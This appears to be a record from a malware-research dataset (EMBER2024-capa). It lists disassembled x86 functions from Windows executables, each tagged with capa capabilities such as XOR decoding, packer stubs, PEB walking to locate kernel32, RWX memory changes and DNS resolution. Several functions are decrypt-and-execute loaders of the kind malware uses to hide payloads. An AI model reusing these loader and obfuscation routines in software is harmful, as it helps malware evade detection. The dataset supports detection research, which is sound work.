joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403d39
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
jbe 0x403e81
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDisablePredefinedCacheEx]
push edi
mov edi, dword [esp + 0x10]
call ebx
add byte [esi + edi], 0x19
call ebx
add byte [esi + edi], 7
call ebx
xor byte [esi + edi], 0x7d
call ebx
add byte [esi + edi], 0xd0
call ebx
add byte [esi + edi], 0xaa
call ebx
add byte [esi + edi], 0xb4
call ebx
add byte [esi + edi], 0xe6
call ebx
xor byte [esi + edi], 0x76
call ebx
add byte [esi + edi], 0xcf
call ebx
add byte [esi + edi], 9
call ebx
xor byte [esi + edi], 0xe4
call ebx
add byte [esi + edi], 0xf7
call ebx
add byte [esi + edi], 0xb1
call ebx
add byte [esi + edi], 0x5c
call ebx
add byte [esi + edi], 0xc3
call ebx
add byte [esi + edi], 0xb1
call ebx
xor byte [esi + edi], 0xe0
call ebx
add byte [esi + edi], 0x9d
call ebx
add byte [esi + edi], 0xc0
call ebx
add byte [esi + edi], 0xde
call ebx
add byte [esi + edi], 0x9a
call ebx
add byte [esi + edi], 0x70
call ebx
add byte [esi + edi], 0xdd
call ebx
add byte [esi + edi], 0x95
call ebx
add byte [esi + edi], 0x7c
call ebx
xor byte [esi + edi], 0x94
call ebx
add byte [esi + edi], 0x6f
call ebx
add byte [esi + edi], 0xbb
call ebx
add byte [esi + edi], 0x45
call ebx
call ebx
add byte [esi + edi], 0x7a
call ebx
xor byte [esi + edi], 0x37
call ebx
xor byte [esi + edi], 0xd4
call ebx
xor byte [esi + edi], 0xad
call ebx
add byte [esi + edi], 0xe
call ebx
add byte [esi + edi], 0x67
call ebx
xor byte [esi + edi], 0xe3
call ebx
add byte [esi + edi], 0xb5
call ebx
add byte [esi + edi], 0x14
call ebx
xor byte [esi + edi], 9
call ebx
add byte [esi + edi], 0x55
call ebx
xor byte [esi + edi], 0xcc
call ebx
add byte [esi + edi], 0x6c
call ebx
xor byte [esi + edi], 0xef
call ebx
add byte [esi + edi], 0xf
call ebx
xor byte [esi + edi], 0xe5
call ebx
add byte [esi + edi], 0x66
call ebx
add byte [esi + edi], 0x6f
call ebx
add byte [esi + edi], 9
inc esi
cmp esi, dword [esp + 0x14]
jb 0x403d52
pop edi
pop ebx
pop esi
ret

Function at 0x403f0b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20
mov eax, dword [0x45a8ec]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
xor ebp, ebp
push edi
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
add ebx, esi
mov edi, dword [ebx + 0x20]
mov eax, dword [ebx + 0x18]
add edi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x403f74
mov eax, dword [edi]
lea ecx, [esp + 0x14]
add eax, esi
push eax
call fcn.00401b44
lea eax, [esp + 0x14]
push 0x14d
push eax
call fcn.004040e2
pop ecx
pop ecx
cmp eax, dword [esp + 0x38]
je 0x403f8c
lea ecx, [esp + 0x14]
add edi, 4
call fcn.00403ab2
inc ebp
cmp ebp, dword [esp + 0x10]
jb 0x403f3c
xor edi, edi
mov ecx, dword [esp + 0x2c]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405f48
add esp, 0x20
ret
mov eax, dword [ebx + 0x24]
lea eax, [eax + ebp*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x14]
call fcn.00403ab2
jmp 0x403f76
Function at 0x417bc0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x417bed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x417bed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43201e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x416153
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x416192
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x416192
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x416192
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x416192
cmp dword [ecx + 0x74], 0xe
jbe 0x416192
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x428560
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42858d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42858d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x40300d
Capabilities:
Terminate process

Disassembly:
mov dword [0x402020], eax
call dword [sym.imp.kernel32.dll_GetTickCount]
call dword [sym.imp.kernel32.dll_GetVersion]
mov edx, eax
xor edi, edi
xor esi, esi
push dword [0x4035d8]
call dword [sym.imp.winmm.dll_waveInClose]
add eax, 6
test eax, 0xb
jne 0x403046
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
mov edx, eax
ret
Function at 0x401150
Capabilities:
Read file on windows
Write file on windows

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x140]
test edi, edi
jne 0x401172
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x128
ret
lea eax, [esp + 0x34]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x34]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll__stat]
mov esi, dword [sym.imp.MSVCRT.dll_fopen]
lea eax, [esp + 0x3c]
push 0x403510
push eax
call esi
mov ecx, dword [esp + 0x14c]
mov ebx, eax
push 0
push ecx
push ebx
call dword [sym.imp.MSVCRT.dll_fseek]
mov edx, dword [esp + 0x160]
push 0x40350c
push edx
call esi
push edi
mov ebp, eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
add esp, 0x28
test esi, esi
jne 0x4011e5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x128
ret
push ebx
push 1
push edi
push esi
call dword [sym.imp.MSVCRT.dll_fread]
push ebp
push 1
push edi
push esi
call dword [sym.imp.MSVCRT.dll_fwrite]
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
push esi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 0x28
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x128
ret

Function at 0x401220
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x18]
mov esi, dword [esp + 0x60]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
push 0
push esi
mov dword [esp + 0x40], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x401272
push 5
push eax
push eax
push esi
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, dword [esp + 8]
pop edi
pop esi
add esp, 0x54
ret

Function at 0x401020
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 1
call sub.ucrtbase.dll__configure_narrow_argv
call sub.ucrtbase.dll__initialize_narrow_environment
call 0x401090
mov esi, dword [eax]
call sub.ucrtbase.dll___p___argv
mov edi, dword [eax]
call sub.ucrtbase.dll__get_initial_narrow_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.ucrtbase.dll__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.004010d0
mov dword [esp], eax
call sub.ucrtbase.dll_exit
nop
nop
nop
jmp dword [sym.imp.ucrtbase.dll___p___argc]
Function at 0x40152b
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
enter 4, 0
mov esi, eax
mov edx, dword [0x40c050]
mov ebx, eax
or edx, eax
mov eax, 0x40c054
call fcn.00401461
lea edx, [ebp - 4]
push edx
mov edx, esi
or dl, 0x40
mov edi, 0x401f53
push edx
sub edi, fcn.0040171e
push edi
xor eax, eax
push fcn.0040171e
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp - 4], 0
je 0x401595
mov eax, fcn.0040171e
mov ebx, esi
mov edx, edi
call fcn.00401461
mov edx, 0x1ba00
mov eax, 0x40c054
mov ebx, esi
call fcn.00401360
leave
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret

Function at 0x40165c
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebx
push ecx
push edx
enter 0x144, 0
xor eax, eax
push eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push 0x7f00
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x24], 6
push eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
call dword [sym.imp.USER32.DLL_LoadIconA]
push 0x7f00
push 0
mov dword [ebp - 0x2c], eax
call dword [sym.imp.USER32.DLL_LoadCursorA]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.USER32.DLL_RegisterClassW]
push 0
push 0
call dword [sym.imp.USER32.DLL_LoadAcceleratorsA]
push 0
call dword [sym.imp.OLE32.DLL_CoInitialize]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USER32.DLL_GetCursorPos]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x18]
push eax
push 1
push 1
lea eax, [ebp - 0x144]
push eax
mov dword [ebp - 4], 0xa
mov byte [ebp - 0x144], 0
call dword [sym.imp.CRYPT32.DLL_CryptBinaryToStringA]
movzx eax, byte [ebp - 0x18]
lea ebx, [eax - 0x47]
call dword [sym.imp.OLE32.DLL_CoUninitialize]
mov eax, dword [ebp - 4]
add eax, ebx
leave
pop edx
pop ecx
pop ebx
ret
Function at 0x4011e0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
not ebx
not esi
neg esi
and edi, 7
mov edx, 0xcb
dec esi
mov edx, 0x5e
sbb esi, 0xb1
sub edi, 0x4d
rcr ebx, 0xc
dec ebx
and edi, 0xaa
rol edi, 0x44
dec esi
and edi, 0x96
or esi, 0xf7
bswap ebx
bswap ebx
rcl eax, 0x7b
ror ebx, 0x1c
sbb esi, 0xe4
imul esi
sbb eax, 0xf
not ebx
inc esi
inc ebx
or edi, 0x36
not edi
sbb ebx, 0xda
sbb esi, 0xc3
inc esi
and eax, 0xfd
mov edi, 0x47
and edi, 0xa7
inc eax
ror ebx, 0x2e
and esi, 0xf3
bswap edx
bswap esi
and edx, 0x76
add edx, 0x51
bswap esi
dec ebx
and edx, 0x84
sbb eax, 0x7d
inc ebx
inc edi
add ebx, 0x7f
and edx, 0x7f
not edx
xor ecx, ecx
xor edi, edi
imul edx
not esi
add ebx, 0x33
not ebx
imul esi
inc edi
rcl edx, 0xa8
imul edi
add esi, 0xc6
bswap edx
sub ebx, 0x70
sbb ebx, 0xdc
inc edx
and ebx, 0x3e
inc esi
or edi, 0xf7
and ebx, 9
or ebx, 0x97
sbb edx, 0x64
mov eax, 0x77
bswap esi
mov ebx, 0xc9
ror edi, 0xb5
and eax, 0x7b
ror esi, 0x33
add esi, 0x33
neg esi
add ebx, 1
ror ebx, 0xb0
not eax
neg edi
dec eax
neg esi
rcl eax, 0x2d
and ebx, 0x87
inc edx
and edi, 0x52
rol edi, 0x38
sbb esi, 0x71
rol edx, 0x91
bswap edi
rcl edx, 0x4a
ror eax, 0xad
ror eax, 0x33
rol ebx, 0xcb
or esi, 0xfe
dec edi
bswap esi
neg eax
imul edx
mov ecx, dword [ebp + 0xc]
bswap edi
rcl esi, 0x6b
bswap esi
add edi, 0x35
not edi
and edi, 0x42
imul edx
not eax
rcl eax, 9
not ebx
ror eax, 0x96
sbb ebx, 0xf8
or edx, 0xcc
imul ebx
sbb edx, 0x45
imul edi
rcl edx, 0xa0
dec ebx
mov eax, 0xd1
mov esi, 0xa4
not ebx
neg eax
rcr esi, 0xe1
or ebx, 0xc6
not eax
rol esi, 0xec
inc edi
bswap eax
not eax
bswap edi
rol ebx, 0x5e
rcl eax, 0x9d
ror ebx, 0xae
and esi, 0xc6
and edi, 0xef
rcl edx, 0x86
neg edi
add edx, 0x1c
add edx, 2
inc edx
rcl esi, 0xf6
neg edx
rcr edi, 0x45
imul esi
inc edi
add eax, 0xeb
rcl edx, 0x73
imul edi
neg esi
mov edx, 0x1a
mov edi, dword [ebp + 8]
xor esi, esi
mov eax, eax
mov esi, esi
not byte [edi]
mov ebx, esi
xor ebx, eax
xor esi, eax
add byte [edi], 0x56
mov eax, esi
mov eax, eax
xor esi, eax
sub byte [edi], 0x34
mov eax, eax
xor ebx, ebx
mov ebx, eax
imul byte [edi]
inc edi
loop 0x4013b5
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x4049f9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
and dword [ebp - 8], 0
call dword [0x418e1c]
mov dword [ebp - 8], eax
and dword [ebp - 4], 0
mov eax, dword [ebp + 0x10]
inc eax
push eax
push 8
push dword [ebp - 8]
call dword [0x418e34]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x404a3f
push 0
push 0x41b3b0
push 0x41b3b0
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push dword [ebp + 0x10]
push dword [ebp + 8]
push dword [ebp - 4]
call fcn.0040cad0
add esp, 0xc
cmp dword [ebp + 0x10], 0
je 0x404a68
mov ecx, dword [ebp + 0x10]
mov esi, dword [ebp - 4]
mov edi, esi
lodsb al, byte [esi]
xor al, byte [ebp + 0xc]
stosb byte es:[edi], al
sub ecx, 1
jne 0x404a5e
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404d43
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
push esi
sub eax, dword [0x4160e4]
add ecx, dword [0x4160ec]
inc ecx
mov ebx, ebx
sub edx, dword [0x4160e8]
sub ecx, dword [0x4160ec]
add edx, dword [0x4160e8]
mov edx, edx
add ebx, dword [str.hBx]
add eax, dword [0x4160e4]
lea ebx, [ebx]
sub ebx, dword [str.hBx]
lea ecx, [ecx]
dec ecx
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x404ddd
sub eax, dword [0x4160e4]
add ecx, dword [0x4160ec]
inc ecx
mov ebx, ebx
sub edx, dword [0x4160e8]
sub ecx, dword [0x4160ec]
add edx, dword [0x4160e8]
mov edx, edx
add ebx, dword [str.hBx]
add eax, dword [0x4160e4]
lea ebx, [ebx]
sub ebx, dword [str.hBx]
lea ecx, [ecx]
dec ecx
jmp 0x404e60
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
sub eax, dword [0x4160e4]
add ecx, dword [0x4160ec]
inc ecx
mov ebx, ebx
sub edx, dword [0x4160e8]
sub ecx, dword [0x4160ec]
add edx, dword [0x4160e8]
mov edx, edx
add ebx, dword [str.hBx]
add eax, dword [0x4160e4]
lea ebx, [ebx]
sub ebx, dword [str.hBx]
lea ecx, [ecx]
dec ecx
test esi, esi
jne 0x404e64
sub eax, dword [0x4160e4]
add ecx, dword [0x4160ec]
inc ecx
mov ebx, ebx
sub edx, dword [0x4160e8]
sub ecx, dword [0x4160ec]
add edx, dword [0x4160e8]
mov edx, edx
add ebx, dword [str.hBx]
add eax, dword [0x4160e4]
lea ebx, [ebx]
sub ebx, dword [str.hBx]
lea ecx, [ecx]
dec ecx
xor eax, eax
jmp 0x404eab
sub eax, dword [0x4160e4]
add ecx, dword [0x4160ec]
inc ecx
mov ebx, ebx
sub edx, dword [0x4160e8]
sub ecx, dword [0x4160ec]
add edx, dword [0x4160e8]
mov edx, edx
add ebx, dword [str.hBx]
add eax, dword [0x4160e4]
lea ebx, [ebx]
sub ebx, dword [str.hBx]
lea ecx, [ecx]
dec ecx
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
pop esi
pop ebx
leave
ret
Function at 0x402680
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x409008], 0x8088405
inc edx
mov dword [ebx + 0x409008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x402f18
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40a034], 0
je 0x402f79
cmp word [0x40a208], 0xd7b2
jne 0x402f41
cmp dword [0x40a210], 0
jbe 0x402f41
mov eax, 0x40a204
call dword [0x40a220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x409060
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x402fa0
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x409024], 0
jne 0x402f95
push 0
push 0x409058
push 0x409060
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x404058
Capabilities:
Contain obfuscated stackstrings

Disassembly:
dec ebp
or al, 0x88
pop ebp
ror byte [eax + 0x45c6c15d], 0xc2
in al, dx
mov byte [ebp - 0x3d], bl
invalid

Function at 0x405968
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pop ecx
push eax
mov eax, dword [ebp - 0x28]
lea eax, [ebp + eax - 0x12c]

Function at 0x407080
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, dword [0x409214]
mov dword [eax], ecx
mov ebx, edx
test ebx, ebx
jle 0x4070a1
mov eax, 0xff
call fcn.00402680
xor byte [esi], al
inc esi
dec ebx
jne 0x407091
pop esi
pop ebx
ret
Function at 0x44ac3d
Capabilities:
Encode data using xor

Disassembly:
jmp 0x45c19d
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
jbe 0x45c291
push ebx
push ebp
push edi
mov edi, dword [esp + 0x14]
mov ebp, 0x505728
mov bl, byte [esi + edi]
push str.ugAyuisyx
push ebp
call fcn.00449d88
xor edx, edx
mov eax, esi
div dword [esp + 0x24]
pop ecx
pop ecx
push 0x44d1a9
push str.Bicycle_water
mov bh, byte [edx + section..REMO]
push 0x505810
xor bh, bl
call fcn.00449d88
pop ecx
pop ecx
mov ecx, eax
call fcn.0044c727
mov bl, byte [esi + edi]
push 0x44d1a9
push str.dijovhyuGSYYSyus
push ebp
call fcn.00449d88
pop ecx
pop ecx
mov ecx, eax
call fcn.0044c727
add byte [esi + edi], bh
push 0x44d1a9
push str.fdiogiuAsdoiHYUAUAY87234
push ebp
call fcn.00449d88
pop ecx
pop ecx
mov ecx, eax
call fcn.0044c727
dec byte [esi + edi]
push str.suih89Ah3
push ebp
call fcn.00449d88
add byte [esi + edi], 0xfe
push str.XScdyhjkujktyyt
push ebp
call fcn.00449d88
sub byte [esi + edi], bl
push str.sJBCsKJ2BJN
push ebp
call fcn.00449d88
inc byte [esi + edi]
push str.sDGTFsE
push ebp
call fcn.00449d88
inc byte [esi + edi]
push str.ZASwe23
push ebp
call fcn.00449d88
inc byte [esi + edi]
push str.uhgiyGAuyisua
push ebp
call fcn.00449d88
add esp, 0x30
inc esi
cmp esi, dword [esp + 0x18]
jb 0x45c1b6
pop edi
pop ebp
pop ebx
pop esi
ret

Function at 0x44c812
Capabilities:
Parse pe header

Disassembly:
jmp 0x480af1
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x480b30
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x480b30
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x480b30
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x480b30
cmp dword [ecx + 0x74], 0xe
jbe 0x480b30
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x44cab0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
jmp 0x45bb42
push esi
push edi
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x580d98], eax
pop edi
pop esi
ret
Function at 0x408151
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x408160
pop dword [ebp - 0x20]
mov eax, 0xb4da5390
add eax, 0x4b662dd0
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x42eed
push 0
mov eax, 0x5d0fd699
sub eax, 0x5ccd8481
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x5c95
xor edi, edi
add edi, eax
mov esi, 0x435400
add esi, dword [ebp - 0x20]
mov ebx, 0xcca5d0ba
xor dword [ebp - 0x1c], ecx
mov edx, dword [esi]
xor dword [ebp - 0x14], 0xd11e3381
add edx, ebx
sub dword [ebp - 4], eax
mov dword [edi], edx
xor dword [ebp - 8], 0xc8a9f722
add edi, 4
add esi, 0x3bba8311
sub esi, 0x3bba830d
loop 0x4081af
add eax, 0x25b742ea
add eax, 0xda4a223d
xor ebx, ebx
add ebx, eax
add eax, 0x785fc959
sub eax, 0x785fc954
mov ecx, 0x400000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
enter 0x84, 0
sub ebp, 0x82
mov dword [ebp - 2], 0
call fcn.00401554
mov ebx, eax
xor eax, eax
mov dword [ebp + 0x7e], eax
lea eax, [ebp + 0x7e]
push eax
mov eax, ebx
or al, 0x40
push eax
mov eax, 0x401e00
sub eax, fcn.004015cb
push eax
push fcn.004015cb
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp + 0x7e], 0
je 0x40107d
mov eax, ebx
lea edx, [ebp - 2]
call fcn.00401478
mov eax, ebx
call fcn.004014c9
lea eax, [ebx + 0x1b600]
lea edx, [ebx - 1]
lea ecx, [ebp - 2]
and edx, eax
test ebx, ebx
je 0x401071
mov eax, 0x402054
add eax, eax
jmp 0x401076
mov eax, 0x402054
mov ebx, ecx
call fcn.004015cb
xor eax, eax
lea esp, [ebp + 0x82]
pop ebp
pop edx
pop ecx
pop ebx
ret

Function at 0x401554
Capabilities:
Delete file
Encode data using base64 via winapi

Disassembly:
push ebx
push ecx
push edx
enter 0x11c, 0
lea ebx, [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push ebx
call dword [sym.imp.USER32.DLL_GetCursorPos]
push 0
push 0
lea ebx, [ebp - 4]
call dword [sym.imp.USER32.DLL_GetWindow]
push ebx
lea ebx, [ebp - 0x18]
push ebx
push 1
push 1
lea eax, [ebp - 0x11c]
push eax
mov dword [ebp - 4], 0xa
mov byte [ebp - 0x11c], 0
call dword [sym.imp.CRYPT32.DLL_CryptBinaryToStringA]
lea eax, [ebp - 0x18]
movzx ebx, byte [ebp - 0x18]
push eax
sub ebx, 0x41
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov eax, ebx
leave
pop edx
pop ecx
pop ebx
ret

Function at 0x4015cb
Capabilities:
Delete file

Disassembly:
hlt
push edi
mov edi, 0x72647246
jb 0x401617
ror byte [ecx + 0x6ed8c765], 0
inc edi
add al, 0xe8
push edi
jbe 0x4015a9
popal
mov dword [ebx + edx*2 + 0x6c], ebp
mov dword [ecx + 0x45], esp
jae 0x401612
and byte [ebp + eax*2], 0x8d
mov dword [edx - 0x39], edx
invalid
inc ebp
call 0x6e75775d
outsb dx, byte [esi]
inc ebp
inc ebp
add al, 0xa2
invalid
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x421740
Capabilities:
Encode data using xor

Disassembly:
xor dl, dl
mov dl, byte [edi]
xor dl, bl
mov byte [edi], dl
inc edi
cmp edi, ecx
jne fcn.00421740
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x427faa
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x427fb9
pop dword [ebp - 0x24]
mov eax, 0x4cf240f6
add eax, 0xb3503ec3
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x40de8da4
sub dword [ebp - 0x34], 0xf28c4859
mov dword [ebp - 0x30], 0xa37d7a3b
sub dword [ebp - 0x30], 0x714a2df6
mov dword [ebp - 0x2c], 0x343fa62d
sub dword [ebp - 0x2c], 0xe7f361ff
mov dword [ebp - 0x28], 0x5843e9da
sub dword [ebp - 0x28], 0x5843e9da
lea eax, [ebp - 0x34]
push eax
mov eax, 0xc728fda
add eax, 0xf3d3208a
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xbee6b65f
add dword [ebp - 0x34], 0xb58bb2f7
mov dword [ebp - 0x30], 0xccab5d13
sub dword [ebp - 0x30], 0x8b3efb9e
mov dword [ebp - 0x2c], 0xf3d037ad
add dword [ebp - 0x2c], 0x6f9f34bf
mov dword [ebp - 0x28], 0x23f016e
sub dword [ebp - 0x28], 0x23f016e
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x3e92ea6a
add eax, 0xc1b2c616
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x4cf11
push 0
call eax
mov ecx, 0xf174e4ec
add ecx, 0xe8b5e94
xor edi, edi
add edi, eax
mov esi, 0x85e02239
add esi, 0x7a673dc7
add esi, dword [ebp - 0x24]
mov ebx, 0xbf2cf8b0
sub ebx, 0x47d163c3
sub dword [ebp - 0x20], edi
mov edx, dword [esi]
sub dword [ebp - 0x1c], ebx
xor edx, ebx
add dword [ebp - 4], 0xe41fdea4
mov dword [edi], edx
xor dword [ebp - 4], edx
add edi, 4
add esi, 0xe822186d
add esi, 0x17dde797
loop 0x4280dd
add eax, 0x4f4e4900
add eax, 0xb0b2b7d3
xor ebx, ebx
add ebx, eax
add eax, 0x318b87bc
sub eax, 0x318b87b7
